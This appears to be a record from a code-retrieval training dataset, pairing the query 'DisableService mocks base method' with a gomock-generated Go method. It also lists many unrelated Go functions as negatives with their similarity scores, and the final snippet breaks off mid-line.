(*Enterprise_Enterprise) IsYANGGoStruct() {}", "func (*Component_Property) IsYANGGoStruct() {}", "func (d *DriverFile) NeedPackageTransform() bool {\n\treturn (d.Type == constant.TypeObject && len(d.Elements) > 0) || (d.Type == constant.TypeView && d.Code != \"*\") || (d.Type == constant.TypeMenu && len(d.Sections) > 0)\n}", "func TestMisspellNamePositive(t *testing.T) {\n\ttest := linttest.NewSuite(t)\n\ttest.Config().TypoFixer = misspell.New()\n\ttest.AddFile(`<?php\nfunction unconditionnally_rollback() {}\n\nfunction f($notificaton) {\n}\n\nclass c {\n private function m($flag_normallized) {}\n}\n\nclass Mocrotransactions {\n}\n\nfunction f_overpoweing() {\n}\n\nclass c {\n private function set_persistance() {}\n}\n`)\n\ttest.Expect = []string{\n\t\t`\"unconditionnally\" is a misspelling of \"unconditionally\"`,\n\t\t`\"notificaton\" is a misspelling of \"notification\"`,\n\t\t`\"normallized\" is a misspelling of \"normalized\"`,\n\t\t`\"Mocrotransactions\" is a misspelling of \"Microtransactions\"`,\n\t\t`\"overpoweing\" is a misspelling of \"overpowering\"`,\n\t\t`\"persistance\" is a misspelling of \"persistence\"`,\n\t}\n\ttest.RunAndMatch()\n}", "func (this Expr) TypeCheck(typeCheckArgs interfaces.TypeCheckArgs) interfaces.ValueType {\n\tpanic(\"Expr TypeCheck method not overridden\")\n\treturn nil\n}", "func checkPythonPackageLoad(pythonVersion int, moduleName string) error {\n\tpythonBinary := \"python\"\n\n\tif pythonVersion == 3 {\n\t\tpythonBinary = \"python3\"\n\t}\n\n\treturn exec.Command(pythonBinary, \"-c\", \"import \"+moduleName).Run()\n}", "func implementedOutsideGo(obj *types.Func) bool {\n\treturn obj.Type().(*types.Signature).Recv() == nil &&\n\t\t(obj.Scope() != nil && obj.Scope().Pos() == token.NoPos)\n}", "func checkGoCompatible(path string, t1, t2 schema.AvroType, checked map[schema.AvroType]bool) error {\n\t// Protect against infinite recursion.\n\tif checked[t1] {\n\t\treturn nil\n\t}\n\tchecked[t1] = true\n\tif reflect.TypeOf(t1) != reflect.TypeOf(t2) {\n\t\treturn compatErrorf(path, \"incompatible types\")\n\t}\n\tswitch t1 := t1.(type) {\n\tcase *schema.Reference:\n\t\tt2 := t2.(*schema.Reference)\n\t\tif reflect.TypeOf(t1.Def) != reflect.TypeOf(t2.Def) {\n\t\t\treturn compatErrorf(path, \"incompatible types\")\n\t\t}\n\t\tif t1.TypeName != t2.TypeName {\n\t\t\treturn compatErrorf(path, \"incompatible type name %v vs %v\", t1.TypeName, t2.TypeName)\n\t\t}\n\t\tswitch t1def := t1.Def.(type) {\n\t\tcase *schema.RecordDefinition:\n\t\t\t// All fields in t1 must appear in t2.\n\t\t\tt2def := t2.Def.(*schema.RecordDefinition)\n\t\t\tfor _, f1 := range t1def.Fields() {\n\t\t\t\tpath := path + \".\" + f1.Name()\n\t\t\t\tf2 := t2def.FieldByName(f1.Name())\n\t\t\t\tif f2 == nil {\n\t\t\t\t\treturn compatErrorf(path, \"field not found in external definition\")\n\t\t\t\t}\n\t\t\t\tif err := checkGoCompatible(path, f1.Type(), f2.Type(), checked); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn nil\n\t\tcase *schema.EnumDefinition:\n\t\t\t// All symbols in t1 must be in t2.\n\t\t\tt2def := t2.Def.(*schema.EnumDefinition)\n\t\t\tsyms1, syms2 := t1def.Symbols(), t2def.Symbols()\n\t\t\tif len(syms2) < len(syms1) {\n\t\t\t\treturn compatErrorf(path, \"external enum does not contain all symbols\")\n\t\t\t}\n\t\t\tfor i, sym1 := range syms1 {\n\t\t\t\tif sym1 != syms2[i] {\n\t\t\t\t\treturn compatErrorf(path, \"enum symbol changed value\")\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn nil\n\t\tcase *schema.FixedDefinition:\n\t\t\t// The size must be the same.\n\t\t\tt2def := t2.Def.(*schema.FixedDefinition)\n\t\t\tif t1def.SizeBytes() != t2def.SizeBytes() {\n\t\t\t\treturn compatErrorf(path, \"fixed size changed value\")\n\t\t\t}\n\t\tdefault:\n\t\t\tpanic(fmt.Errorf(\"unknown definition type %T\", t1def))\n\t\t}\n\tcase *schema.UnionField:\n\t\t// All members of the union must be compatible.\n\t\tt2 := t2.(*schema.UnionField)\n\t\titemTypes1, itemTypes2 := t1.ItemTypes(), t2.ItemTypes()\n\n\t\tif len(itemTypes1) != len(itemTypes2) {\n\t\t\t// TODO we could potentially let the external type add new\n\t\t\t// union members.\n\t\t\treturn fmt.Errorf(\"union type mismatch\")\n\t\t}\n\t\tfor i := range itemTypes1 {\n\t\t\tif err := checkGoCompatible(path+fmt.Sprintf(\"[u%d]\", i), itemTypes1[i], itemTypes2[i], checked); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\tcase *schema.MapField:\n\t\treturn checkGoCompatible(path+\".{*}\", t1.ItemType(), t2.(*schema.MapField).ItemType(), checked)\n\tcase *schema.ArrayField:\n\t\treturn checkGoCompatible(path+\".[*]\", t1.ItemType(), t2.(*schema.ArrayField).ItemType(), checked)\n\tcase *schema.LongField:\n\t\tif logicalType(t1) != logicalType(t2) {\n\t\t\t// TODO check for timestamp-micros only?\n\t\t\treturn fmt.Errorf(\"logical type mismatch\")\n\t\t}\n\t}\n\t// We already know the type matches and there's nothing\n\t// else to check.\n\treturn nil\n}", "func (*Component_Fan) IsYANGGoStruct() {}", "func TestGoDocWrongFuncNameReject(t *testing.T) {\n\treject(t, \"godoc_test.go\", \"TestGoDocWrongFuncNameReject\")\n}", "func (*Component_Port) IsYANGGoStruct() {}", "func (*Component_Backplane) IsYANGGoStruct() {}", "func Check() {\n\tif runtime.GOARCH == \"amd64\" && runtime.GOOS != \"darwin\" {\n\t\tmg.Deps(Test386)\n\t} else {\n\t\tfmt.Printf(\"Skip Test386 on %s and/or %s\\n\", runtime.GOARCH, runtime.GOOS)\n\t}\n\n\tmg.Deps(Fmt, Vet)\n\n\t// don't run two tests in parallel, they saturate the CPUs anyway, and running two\n\t// causes memory issues in CI.\n\tmg.Deps(TestRace)\n}", "func (*Hercules_Hercules) IsYANGGoStruct() {}", "func main() {\n\t// TODO:\n\tfmt.Println(\"NOT IMPLEMENTED\")\n}", "func TestDefinition(t *testing.T) {\n\tt.Parallel()\n\n\ttree := writeTree(t, `\n-- go.mod --\nmodule example.com\ngo 1.18\n\n-- a.go --\npackage a\nimport \"fmt\"\nfunc f() {\n\tfmt.Println()\n}\nfunc g() {\n\tf()\n}\n`)\n\t// missing position\n\t{\n\t\tres := gopls(t, tree, \"definition\")\n\t\tres.checkExit(false)\n\t\tres.checkStderr(\"expects 1 argument\")\n\t}\n\t// intra-package\n\t{\n\t\tres := gopls(t, tree, \"definition\", \"a.go:7:2\") // \"f()\"\n\t\tres.checkExit(true)\n\t\tres.checkStdout(\"a.go:3:6-7: defined here as func f\")\n\t}\n\t// cross-package\n\t{\n\t\tres := gopls(t, tree, \"definition\", \"a.go:4:7\") // \"Println\"\n\t\tres.checkExit(true)\n\t\tres.checkStdout(\"print.go.* defined here as func fmt.Println\")\n\t\tres.checkStdout(\"Println formats using the default formats for its operands\")\n\t}\n\t// -json and -markdown\n\t{\n\t\tres := gopls(t, tree, \"definition\", \"-json\", \"-markdown\", \"a.go:4:7\")\n\t\tres.checkExit(true)\n\t\tvar defn cmd.Definition\n\t\tif res.toJSON(&defn) {\n\t\t\tif !strings.HasPrefix(defn.Description, \"```go\\nfunc fmt.Println\") {\n\t\t\t\tt.Errorf(\"Description does not start with markdown code block. Got: %s\", defn.Description)\n\t\t\t}\n\t\t}\n\t}\n}", "func checkCompatible(arg, param sem.Named) error {\n\t// asEnum() returns the underlying sem.Enum if n is a enum matcher,\n\t// templated enum parameter or an enum entry, otherwise nil\n\tasEnum := func(n sem.Named) *sem.Enum {\n\t\tswitch n := n.(type) {\n\t\tcase *sem.EnumMatcher:\n\t\t\treturn n.Enum\n\t\tcase *sem.TemplateEnumParam:\n\t\t\treturn n.Enum\n\t\tcase *sem.EnumEntry:\n\t\t\treturn n.Enum\n\t\tdefault:\n\t\t\treturn nil\n\t\t}\n\t}\n\n\tif arg := asEnum(arg); arg != nil {\n\t\tparam := asEnum(param)\n\t\tif arg == param {\n\t\t\treturn nil\n\t\t}\n\t}\n\n\tanyNumber := \"any number\"\n\t// asNumber() returns anyNumber if n is a TemplateNumberParam.\n\t// TODO(bclayton): Once we support number ranges [e.g.: fn F<N: 1..4>()], we\n\t// should check number ranges are compatible\n\tasNumber := func(n sem.Named) interface{} {\n\t\tswitch n.(type) {\n\t\tcase *sem.TemplateNumberParam:\n\t\t\treturn anyNumber\n\t\tdefault:\n\t\t\treturn nil\n\t\t}\n\t}\n\n\tif arg := asNumber(arg); arg != nil {\n\t\tparam := asNumber(param)\n\t\tif arg == param {\n\t\t\treturn nil\n\t\t}\n\t}\n\n\tanyType := &sem.Type{}\n\t// asNumber() returns the sem.Type, sem.TypeMatcher if the named object\n\t// resolves to one of these, or anyType if n is a unconstrained template\n\t// type parameter.\n\tasResolvableType := func(n sem.Named) sem.ResolvableType {\n\t\tswitch n := n.(type) {\n\t\tcase *sem.TemplateTypeParam:\n\t\t\tif n.Type != nil {\n\t\t\t\treturn n.Type\n\t\t\t}\n\t\t\treturn anyType\n\t\tcase *sem.Type:\n\t\t\treturn n\n\t\tcase *sem.TypeMatcher:\n\t\t\treturn n\n\t\tdefault:\n\t\t\treturn nil\n\t\t}\n\t}\n\n\tif arg := asResolvableType(arg); arg != nil {\n\t\tparam := asResolvableType(param)\n\t\tif arg == param || param == anyType {\n\t\t\treturn nil\n\t\t}\n\t}\n\n\treturn fmt.Errorf(\"cannot use %v as %v\", describe(arg), describe(param))\n}", "func (*Component_Chassis) IsYANGGoStruct() {}", "func (*OnfTest1Choice_Vehicle) IsYANGGoStruct() {}", "func (*UseCase_UseCase_UseCase_Site) IsYANGGoStruct() {}", "func (*Qos_Qos) IsYANGGoStruct() {}", "func (*Test1_Cont1A) IsYANGGoStruct() {}", "func (*Component_Memory) IsYANGGoStruct() {}", "func shouldBeUntypedNil(actual any, _ ...any) string {\n\tif actual == nil {\n\t\treturn \"\"\n\t}\n\treturn fmt.Sprintf(`Expected: (%T, %v)\nActual: (%T, %v)`, nil, nil, actual, actual)\n}", "func (*Qos_Qos_Qos) IsYANGGoStruct() {}", "func VerifyNoImports(\n\tt testing.TB,\n\tpkgPath string,\n\tcgo bool,\n\tforbiddenPkgs, forbiddenPrefixes []string,\n) {\n\t// Skip test if source is not available.\n\tif build.Default.GOPATH == \"\" {\n\t\tt.Skip(\"GOPATH isn't set\")\n\t}\n\n\tbuildContext := build.Default\n\tbuildContext.CgoEnabled = cgo\n\n\tforward, _, errs := importgraph.Build(&buildContext)\n\tfor pkg, err := range errs {\n\t\tt.Error(errors.Wrapf(err, \"error loading package %s\", pkg))\n\t}\n\timports := forward.Search(pkgPath)\n\n\tfor _, forbidden := range forbiddenPkgs {\n\t\tif _, ok := imports[forbidden]; ok {\n\t\t\tt.Errorf(\"Package %s includes %s, which is forbidden\", pkgPath, forbidden)\n\t\t}\n\t}\n\tfor _, forbiddenPrefix := range forbiddenPrefixes {\n\t\tfor k := range imports {\n\t\t\tif strings.HasPrefix(k, forbiddenPrefix) {\n\t\t\t\tt.Errorf(\"Package %s includes %s, which is forbidden\", pkgPath, k)\n\t\t\t}\n\t\t}\n\t}\n}", "func TestNotFound(t *testing.T) {\n\tcode := `\npackage main\n\n//go-sumtype:decl T\n\nfunc main() {}\n`\n\ttmpdir, pkgs := setupPackages(t, code)\n\tdefer teardownPackage(t, tmpdir)\n\n\terrs := run(pkgs)\n\tif !assert.Len(t, errs, 1) {\n\t\tt.FailNow()\n\t}\n\tassert.Equal(t, \"T\", errs[0].(notFoundError).Decl.TypeName)\n}", "func (*Component_Temperature) IsYANGGoStruct() {}", "func testACC(t *testing.T) {\n\tskip := os.Getenv(\"TF_ACC\") == \"\" && os.Getenv(\"TF_SWIFT_TEST\") == \"\"\n\tif skip {\n\t\tt.Log(\"swift backend tests require setting TF_ACC or TF_SWIFT_TEST\")\n\t\tt.Skip()\n\t}\n\tt.Log(\"swift backend acceptance tests enabled\")\n}", "func (_BaseLibrary *BaseLibraryCaller) RequiresReview(opts *bind.CallOpts) (bool, error) {\n\tvar out []interface{}\n\terr := _BaseLibrary.contract.Call(opts, &out, \"requiresReview\")\n\n\tif err != nil {\n\t\treturn *new(bool), err\n\t}\n\n\tout0 := *abi.ConvertType(out[0], new(bool)).(*bool)\n\n\treturn out0, err\n\n}", "func (s *BasePlSqlParserListener) EnterJava_spec(ctx *Java_specContext) {}", "func TestMissingOneWithPanic(t *testing.T) {\n\tcode := `\npackage main\n\n//go-sumtype:decl T\n\ntype T interface { sealed() }\n\ntype A struct {}\nfunc (a *A) sealed() {}\n\ntype B struct {}\nfunc (b *B) sealed() {}\n\nfunc main() {\n\tswitch T(nil).(type) {\n\tcase *A:\n\tdefault:\n\t\tpanic(\"unreachable\")\n\t}\n}\n`\n\ttmpdir, pkgs := setupPackages(t, code)\n\tdefer teardownPackage(t, tmpdir)\n\n\terrs := run(pkgs)\n\tif !assert.Len(t, errs, 1) {\n\t\tt.FailNow()\n\t}\n\tassert.Equal(t, []string{\"B\"}, missingNames(t, errs[0]))\n}", "func TestSemantic_57619(t *testing.T) {\n\tif !typeparams.Enabled {\n\t\tt.Skip(\"type parameters are needed for this test\")\n\t}\n\tsrc := `\n-- go.mod --\nmodule example.com\n\ngo 1.19\n-- main.go --\npackage foo\ntype Smap[K int, V any] struct {\n\tStore map[K]V\n}\nfunc (s *Smap[K, V]) Get(k K) (V, bool) {\n\tv, ok := s.Store[k]\n\treturn v, ok\n}\nfunc New[K int, V any]() Smap[K, V] {\n\treturn Smap[K, V]{Store: make(map[K]V)}\n}\n`\n\tWithOptions(\n\t\tModes(Default),\n\t\tSettings{\"semanticTokens\": true},\n\t).Run(t, src, func(t *testing.T, env *Env) {\n\t\tenv.OpenFile(\"main.go\")\n\t\tp := &protocol.SemanticTokensParams{\n\t\t\tTextDocument: protocol.TextDocumentIdentifier{\n\t\t\t\tURI: env.Sandbox.Workdir.URI(\"main.go\"),\n\t\t\t},\n\t\t}\n\t\tv, err := env.Editor.Server.SemanticTokensFull(env.Ctx, p)\n\t\tif err != nil {\n\t\t\tt.Fatal(err)\n\t\t}\n\t\tseen := interpret(v.Data, env.BufferText(\"main.go\"))\n\t\tfor i, s := range seen {\n\t\t\tif (s.Token == \"K\" || s.Token == \"V\") && s.TokenType != \"typeParameter\" {\n\t\t\t\tt.Errorf(\"%d: expected K and V to be type parameters, but got %v\", i, s)\n\t\t\t}\n\t\t}\n\t})\n}", "func TestNotSealed(t *testing.T) {\n\tcode := `\npackage main\n\n//go-sumtype:decl T\n\ntype T interface {}\n\nfunc main() {}\n`\n\ttmpdir, pkgs := setupPackages(t, code)\n\tdefer teardownPackage(t, tmpdir)\n\n\terrs := run(pkgs)\n\tif !assert.Len(t, errs, 1) {\n\t\tt.FailNow()\n\t}\n\tassert.Equal(t, \"T\", errs[0].(unsealedError).Decl.TypeName)\n}", "func (*Component_PowerSupply) IsYANGGoStruct() {}", "func checkLang() {\n\tif flag_lang == \"\" {\n\t\treturn\n\t}\n\n\tvar err error\n\tlangWant, err = parseLang(flag_lang)\n\tif err != nil {\n\t\tlog.Fatalf(\"invalid value %q for -lang: %v\", flag_lang, err)\n\t}\n\n\tif def := currentLang(); flag_lang != def {\n\t\tdefVers, err := parseLang(def)\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"internal error parsing default lang %q: %v\", def, err)\n\t\t}\n\t\tif langWant.major > defVers.major || (langWant.major == defVers.major && langWant.minor > defVers.minor) {\n\t\t\tlog.Fatalf(\"invalid value %q for -lang: max known version is %q\", flag_lang, def)\n\t\t}\n\t}\n}", "func TestSemantic_2527(t *testing.T) {\n\tif !typeparams.Enabled {\n\t\tt.Skip(\"type parameters are needed for this test\")\n\t}\n\t// these are the expected types of identifiers in text order\n\twant := []result{\n\t\t{\"package\", \"keyword\", \"\"},\n\t\t{\"foo\", \"namespace\", \"\"},\n\t\t{\"func\", \"keyword\", \"\"},\n\t\t{\"Add\", \"function\", \"definition deprecated\"},\n\t\t{\"T\", \"typeParameter\", \"definition\"},\n\t\t{\"int\", \"type\", \"defaultLibrary\"},\n\t\t{\"target\", \"parameter\", \"definition\"},\n\t\t{\"T\", \"typeParameter\", \"\"},\n\t\t{\"l\", \"parameter\", \"definition\"},\n\t\t{\"T\", \"typeParameter\", \"\"},\n\t\t{\"T\", \"typeParameter\", \"\"},\n\t\t{\"return\", \"keyword\", \"\"},\n\t\t{\"append\", \"function\", \"defaultLibrary\"},\n\t\t{\"l\", \"parameter\", \"\"},\n\t\t{\"target\", \"parameter\", \"\"},\n\t\t{\"for\", \"keyword\", \"\"},\n\t\t{\"range\", \"keyword\", \"\"},\n\t\t{\"l\", \"parameter\", \"\"},\n\t\t{\"return\", \"keyword\", \"\"},\n\t\t{\"nil\", \"variable\", \"readonly defaultLibrary\"},\n\t}\n\tsrc := `\n-- go.mod --\nmodule example.com\n\ngo 1.19\n-- main.go --\npackage foo\n// Deprecated (for testing)\nfunc Add[T int](target T, l []T) []T {\n\treturn append(l, target)\n\tfor range l {} // test coverage\n\treturn nil\n}\n`\n\tWithOptions(\n\t\tModes(Default),\n\t\tSettings{\"semanticTokens\": true},\n\t).Run(t, src, func(t *testing.T, env *Env) {\n\t\tenv.OpenFile(\"main.go\")\n\t\tenv.AfterChange(\n\t\t\tDiagnostics(env.AtRegexp(\"main.go\", \"for range\")),\n\t\t)\n\t\tp := &protocol.SemanticTokensParams{\n\t\t\tTextDocument: protocol.TextDocumentIdentifier{\n\t\t\t\tURI: env.Sandbox.Workdir.URI(\"main.go\"),\n\t\t\t},\n\t\t}\n\t\tv, err := env.Editor.Server.SemanticTokensFull(env.Ctx, p)\n\t\tif err != nil {\n\t\t\tt.Fatal(err)\n\t\t}\n\t\tseen := interpret(v.Data, env.BufferText(\"main.go\"))\n\t\tif x := cmp.Diff(want, seen); x != \"\" {\n\t\t\tt.Errorf(\"Semantic tokens do not match (-want +got):\\n%s\", x)\n\t\t}\n\t})\n\n}", "func (c *pluginPlatformChecker) check(ctx *checkContext) ([]ValidationComment, error) {\n\tvar modulePath string\n\tvar err error\n\tmodulePath, err = fallbackDir(\"module.ts\", ctx.DistDir, ctx.SrcDir)\n\tif err != nil {\n\t\tmodulePath, err = fallbackDir(\"module.js\", ctx.DistDir, ctx.SrcDir)\n\t\tif err != nil {\n\t\t\treturn nil, nil\n\t\t}\n\t}\n\n\tb, err := ioutil.ReadFile(modulePath)\n\tif err != nil {\n\n\t}\n\n\treactExp := regexp.MustCompile(`(DataSourcePlugin|PanelPlugin)`)\n\tangularExp := regexp.MustCompile(`\\s(PanelCtrl|QueryCtrl|QueryOptionsCtrl|ConfigCtrl)`)\n\n\tif angularExp.Match(b) && !reactExp.Match(b) {\n\t\treturn []ValidationComment{\n\t\t\t{\n\t\t\t\tSeverity: checkSeverityWarning,\n\t\t\t\tMessage: \"Plugin uses legacy platform\",\n\t\t\t\tDetails: \"Grafana 7.0 introduced a new plugin platform based on [ReactJS](https://reactjs.org/). We currently have no plans of removing support for Angular-based plugins, but we encourage you migrate your plugin to the new platform.\",\n\t\t\t},\n\t\t}, nil\n\t}\n\n\treturn nil, nil\n}", "func checkCall(generator *Generator, node parser.Node) {\n\tif strings.HasPrefix(node.Value, \"|\") {\n\t\t// Get the previous node's import\n\t\tpreviousNode := generator.previousNodes[len(generator.previousNodes)-1]\n\n\t\tif previousNode.Type != parser.CallExpression {\n\t\t\tlog.Errorf(\"cannot find package\")\n\t\t}\n\t}\n}" ]
[ "0.6478851", "0.5393967", "0.5289959", "0.52071345", "0.5053862", "0.50454575", "0.5022612", "0.50181687", "0.50026184", "0.4974589", "0.49538884", "0.49172106", "0.4917187", "0.4877522", "0.4859232", "0.48496094", "0.47892386", "0.4779585", "0.4773029", "0.47591627", "0.4754553", "0.4748393", "0.47413266", "0.4733276", "0.47231323", "0.4716206", "0.46958795", "0.46917397", "0.4669258", "0.4660394", "0.46329758", "0.46238786", "0.46208864", "0.46088198", "0.45859882", "0.45734552", "0.45436063", "0.45202646", "0.451349", "0.4508413", "0.45050976", "0.4499493", "0.44823706", "0.44805288", "0.44766137", "0.4473061", "0.44639385", "0.4463331", "0.44549417", "0.44522363", "0.44507566", "0.44495347", "0.44478762", "0.44439238", "0.44202316", "0.44191277", "0.44150344", "0.4402149", "0.43997356", "0.4398934", "0.4395298", "0.43830267", "0.43798092", "0.43746012", "0.436153", "0.43561682", "0.4349535", "0.43353403", "0.4328852", "0.4327669", "0.43196043", "0.43170848", "0.43086854", "0.4304674", "0.42996934", "0.42892584", "0.42828918", "0.4282278", "0.42776033", "0.42738873", "0.42679948", "0.42644304", "0.42535716", "0.42527893", "0.42526287", "0.4252564", "0.42517877", "0.4248952", "0.42477518", "0.42470476", "0.42453915", "0.42450088", "0.42442688", "0.42423725", "0.42361623", "0.4225248", "0.42207536", "0.42198142", "0.4218107", "0.42180806" ]
0.619851
1
DisableService mocks base method
func (m *MockmonitorInterface) DisableService(arg0 string) error { m.ctrl.T.Helper() ret := m.ctrl.Call(m, "DisableService", arg0) ret0, _ := ret[0].(error) return ret0 }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (m *MockProxyClient) ProxyDisable(ctx context.Context, in *ProxyDisableRequestMsg, opts ...grpc.CallOption) (*ProxyDisableResponseMsg, error) {\n\tvarargs := []interface{}{ctx, in}\n\tfor _, a := range opts {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"ProxyDisable\", varargs...)\n\tret0, _ := ret[0].(*ProxyDisableResponseMsg)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockProxyServer) ProxyDisable(arg0 context.Context, arg1 *ProxyDisableRequestMsg) (*ProxyDisableResponseMsg, error) {\n\tret := m.ctrl.Call(m, \"ProxyDisable\", arg0, arg1)\n\tret0, _ := ret[0].(*ProxyDisableResponseMsg)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (s *Service) Disable() error {\n\tif s.mgr == nil {\n\t\treturn ErrNoManager\n\t}\n\ts.mgr.lock()\n\tdefer s.mgr.unlock()\n\n\tif !s.enabled && s.reason == \"Disabled\" {\n\t\treturn nil\n\t}\n\n\ts.serial = s.mgr.bumpSerial()\n\ts.logf(\"Disabling service %s\", s.Name())\n\ts.stamp = time.Now()\n\ts.reason = \"Disabled\"\n\ts.enabled = false\n\ts.failed = false\n\ts.err = nil\n\ts.stopRecurse(\"Disabled\")\n\treturn nil\n}", "func (_m *StoreUsecase) Disable(ctx context.Context, id string) error {\n\tret := _m.Called(ctx, id)\n\n\tvar r0 error\n\tif rf, ok := ret.Get(0).(func(context.Context, string) error); ok {\n\t\tr0 = rf(ctx, id)\n\t} else {\n\t\tr0 = ret.Error(0)\n\t}\n\n\treturn r0\n}", "func (c *restClient) DisableService(ctx context.Context, req *serviceusagepb.DisableServiceRequest, opts ...gax.CallOption) (*DisableServiceOperation, error) {\n\tm := protojson.MarshalOptions{AllowPartial: true, UseEnumNumbers: true}\n\tjsonReq, err := m.Marshal(req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tbaseUrl, err := url.Parse(c.endpoint)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tbaseUrl.Path += fmt.Sprintf(\"/v1/%v:disable\", req.GetName())\n\n\t// Build HTTP headers from client and context metadata.\n\thds := []string{\"x-goog-request-params\", fmt.Sprintf(\"%s=%v\", \"name\", url.QueryEscape(req.GetName()))}\n\n\thds = append(c.xGoogHeaders, hds...)\n\thds = append(hds, \"Content-Type\", \"application/json\")\n\theaders := gax.BuildHeaders(ctx, hds...)\n\tunm := protojson.UnmarshalOptions{AllowPartial: true, DiscardUnknown: true}\n\tresp := &longrunningpb.Operation{}\n\te := gax.Invoke(ctx, func(ctx context.Context, settings gax.CallSettings) error {\n\t\tif settings.Path != \"\" {\n\t\t\tbaseUrl.Path = settings.Path\n\t\t}\n\t\thttpReq, err := http.NewRequest(\"POST\", baseUrl.String(), bytes.NewReader(jsonReq))\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\thttpReq = httpReq.WithContext(ctx)\n\t\thttpReq.Header = headers\n\n\t\thttpRsp, err := c.httpClient.Do(httpReq)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdefer httpRsp.Body.Close()\n\n\t\tif err = googleapi.CheckResponse(httpRsp); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tbuf, err := io.ReadAll(httpRsp.Body)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif err := unm.Unmarshal(buf, resp); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\treturn nil\n\t}, opts...)\n\tif e != nil {\n\t\treturn nil, e\n\t}\n\n\toverride := fmt.Sprintf(\"/v1/%s\", resp.GetName())\n\treturn &DisableServiceOperation{\n\t\tlro: longrunning.InternalNewOperation(*c.LROClient, resp),\n\t\tpollPath: override,\n\t}, nil\n}", "func (c *Client) DisableService(serviceName string) (*Service, error) {\n\tservice, err := c.GetService(serviceName)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tbody := RequestBody{\n\t\tCredentials: []string{},\n\t\tBlindCredentials: []string{},\n\t\tAccount: service.Account,\n\t\tEnabled: false,\n\t}\n\tvar response Service\n\terr = c.Request(\"PUT\", \"/v1/services/\"+serviceName, &body, &response)\n\tif err != nil {\n\t\treturn nil, err\n\t} else if response.Error != \"\" {\n\t\treturn nil, errors.New(response.Error)\n\t}\n\tc.services[serviceName] = &response\n\treturn &response, nil\n}", "func (m *MockStatePollerService) Stop() {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"Stop\")\n}", "func (client ServicesClient) DisableTestEndpointResponder(resp *http.Response) (result autorest.Response, err error) {\n\terr = autorest.Respond(\n\t\tresp,\n\t\tazure.WithErrorUnlessStatusCode(http.StatusOK),\n\t\tautorest.ByClosing())\n\tresult.Response = resp\n\treturn\n}", "func (s SystemdInitSystem) DisableAndStopService() error {\n\tenabled, err := s.isEnabled()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error checking if etcd service is enabled: %w\", err)\n\t}\n\tif enabled {\n\t\tif err := s.disable(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tactive, err := s.IsActive()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error checking if etcd service is active: %w\", err)\n\t}\n\n\tif active {\n\t\tif err := s.stop(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}", "func mockNeverRun() bool { return false }", "func (m *mockService) Stop() {\n\t// m.ctrl.Finish() calls runtime.Goexit() on errors\n\t// put it in defer so cleanup is always done\n\tdefer func() {\n\t\tm.server.Shutdown()\n\t\tm.started = false\n\t}()\n\tm.ctrl.Finish()\n}", "func (m *CloudWatchLogsServiceMock) CreateNewServiceIfUnHealthy() {\n\n}", "func StopMockups() {\n\tenabledMocks = false\n}", "func (m *MockKMSAPI) DisableKey(arg0 context.Context, arg1 *kms.DisableKeyInput, arg2 ...func(*kms.Options)) (*kms.DisableKeyOutput, error) {\n\tm.ctrl.T.Helper()\n\tvarargs := []interface{}{arg0, arg1}\n\tfor _, a := range arg2 {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"DisableKey\", varargs...)\n\tret0, _ := ret[0].(*kms.DisableKeyOutput)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockAcceptor) Stop() {\n\tm.ctrl.Call(m, \"Stop\")\n}", "func (m *MockProvider) OnServiceDelete(arg0 *v1.Service) {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"OnServiceDelete\", arg0)\n}", "func (m *MockRefSync) Stop() {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"Stop\")\n}", "func TestDisablePool(t *testing.T) {\n\tpoolA := mkPool(poolAUID, \"pool-a\", []string{\"10.0.10.0/24\"})\n\tfixture := mkTestFixture([]*cilium_api_v2alpha1.CiliumLoadBalancerIPPool{\n\t\tpoolA,\n\t}, true, true, nil)\n\n\tfixture.coreCS.Tracker().Add(\n\t\t&slim_core_v1.Service{\n\t\t\tObjectMeta: slim_meta_v1.ObjectMeta{\n\t\t\t\tName: \"service-a\",\n\t\t\t\tNamespace: \"default\",\n\t\t\t\tUID: serviceAUID,\n\t\t\t},\n\t\t\tSpec: slim_core_v1.ServiceSpec{\n\t\t\t\tType: slim_core_v1.ServiceTypeLoadBalancer,\n\t\t\t},\n\t\t},\n\t)\n\n\tawait := fixture.AwaitService(func(action k8s_testing.Action) bool {\n\t\tif action.GetResource() != servicesResource || action.GetVerb() != \"patch\" {\n\t\t\treturn false\n\t\t}\n\n\t\tsvc := fixture.PatchedSvc(action)\n\n\t\tif len(svc.Status.LoadBalancer.Ingress) != 1 {\n\t\t\tt.Error(\"Expected service to receive exactly one ingress IP\")\n\t\t\treturn true\n\t\t}\n\n\t\treturn true\n\t}, time.Second)\n\n\tgo fixture.hive.Start(context.Background())\n\tdefer fixture.hive.Stop(context.Background())\n\n\tif await.Block() {\n\t\tt.Fatal(\"Expected service status update\")\n\t}\n\n\tawait = fixture.AwaitService(func(action k8s_testing.Action) bool {\n\t\tif action.GetResource() != servicesResource || action.GetVerb() != \"patch\" {\n\t\t\treturn false\n\t\t}\n\n\t\treturn true\n\t}, 500*time.Millisecond)\n\n\tpoolA.Spec.Disabled = 